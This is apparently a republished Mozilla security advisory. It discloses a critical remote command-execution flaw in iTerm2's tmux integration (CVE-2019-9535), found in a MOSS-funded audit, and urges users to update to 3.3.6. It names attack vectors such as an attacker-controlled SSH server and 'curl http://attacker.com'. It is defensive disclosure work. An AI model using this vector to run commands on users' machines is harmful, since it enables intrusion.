A security audit funded by theMozilla Open Source Support Program(MOSS) has discovered a critical security vulnerability in the widely used macOS terminal emulatoriTerm2. After finding the vulnerability, Mozilla,Radically Open Security(ROS, the firm that conducted the audit), and iTerm2’s developer George Nachman worked closely to develop and release a patch to ensure users were no longer subject to this security threat. All users of iTerm2 should update immediately to the latest version (3.3.6) which has beenpublished concurrentwith this blog post.
Founded in 2015, MOSS broadens access , increases security, and empowers users by providing catalytic support to open source technologists. Track III of MOSS – created in the wake of the 2014 Heartbleed vulnerability- supports security audits for widely used open source technologies like iTerm2. Mozilla is an open source company, and the funding MOSS provides is one of the key ways that we continue to ensure the open source ecosystem is healthy and secure.
iTerm2is one of the most popular terminal emulators in the world, and frequently used by developers. MOSS selected iTerm2 for a security audit because it processes untrusted data and it is widely used, including by high-risk targets (like developers and system administrators).
During the audit, ROS identified a critical vulnerability in the tmux integration feature of iTerm2; this vulnerability has been present in iTerm2 for at least 7 years. An attacker who can produce output to the terminal can, in many cases, execute commands on the user’s computer. Example attack vectors for this would be connecting to an attacker-controlled SSH server or commands likecurl http://attacker.comandtail -f / var / log / apache2 / referer_log. We expect the community will find many more creative examples.
Proof-of-Concept video of a command being run on a mock victim’s machine after connecting to a malicious SSH server. In this case, only a calculator was opened as a placeholder for other, more nefarious commands.
Typically this vulnerability would require some degree of user interaction or trickery; but because it can be exploited via commands generally considered safe there is a high degree of concern about the potential impact.
An update to iTerm2 is now available with a mitigation for this issue, which has been assigned CVE – 2019 – 9535. While iTerm2 will eventually prompt you to update automatically, we recommend you proactively update by going to the iTerm2 menu and choosingCheck for updates…The fix is available in version 3.3.6. A prior update was published earlier this week (3.3.5), it does not contain the fix.
If you’d like to apply for funding or an audit from MOSS, you can find application linkson the MOSS website.
GIPHY App Key not set. Please check settings